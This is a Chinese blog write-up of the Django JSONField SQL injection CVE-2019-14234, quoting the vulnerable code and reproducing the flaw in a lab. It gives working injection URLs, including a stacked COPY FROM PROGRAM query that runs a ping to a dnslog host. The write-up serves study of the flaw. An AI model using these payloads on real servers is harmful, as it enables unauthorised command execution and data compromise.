Django SQL注入漏洞(CVE-2019-14234)

it2024-07-15  43

漏洞分析


参考文章:https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html

1、JSONField简介

  Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。

相比于Mysql,Postgresql支持的数据类型更加丰富,其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点。在Django中也支持了Postgresql的数据类型:

JSONField ArrayField HStoreField 这三种数据类型因为都是非标量,且都能用JSON来表示,都可以用JSONField来统称。

总的来说就是支持Postgresql数据库json数据类型模块

2、利用条件

使用了JSONField模块进入应用的Django-Admin后台

3、产生的原因

跟其他SQL注入根源一样,也是因为拼接导致的

class KeyTransformFactory: def __init__(self, key_name): self.key_name = key_name def __call__(self, *args, **kwargs): return KeyTransform(self.key_name, *args, **kwargs) class KeyTransform(Transform): operator = '->' nested_operator = '#>' def __init__(self, key_name, *args, **kwargs): super().__init__(*args, **kwargs) self.key_name = key_name def as_sql(self, compiler, connection): key_transforms = [self.key_name] previous = self.lhs while isinstance(previous, KeyTransform): key_transforms.insert(0, previous.key_name) previous = previous.lhs lhs, params = compiler.compile(previous) if len(key_transforms) > 1: return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params try: int(self.key_name) except ValueError: lookup = "'%s'" % self.key_name else: lookup = "%s" % self.key_name return "(%s %s %s)" % (lhs, self.operator, lookup), params

Django的model最本质的作用是生成SQL语句,所以transform和lookup都需要实现一个名为as_sql的方法用来生成SQL语句。这里原本生成的语句应该是:

WHERE (field->'[key_name]') = 'value'

但这里可见,[key_name]位置的json字段名是字符串拼接

漏洞复现


启动靶场 docker-compose up -d

访问http://your-ip:8000/,可以看到Django的默认页面

然后我们访问http://your-ip:8000/admin进入后台,输入账号密码进行登录

登陆后台后,进入模型Collection的管理页面http://your-ip:8000/admin/vuln/collection/

然后在GET参数中构造detail__a'b=123提交,其中detail是模型Collection中的JSONField:http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

报了SQL语法错误,说明注入存在,此时,后端执行的代码其实就是:

Collection.objects.filter(**dict("detail__a'b": '1')).all()

也可以执行命令,构造shell,创建cmd_exec

http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

执行成功

然后执行命令

http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%208e5p35.dnslog.cn%27--%20

成功执行

一定要满足以上2点条件 ,漏洞才能利用成功


最新回复(0)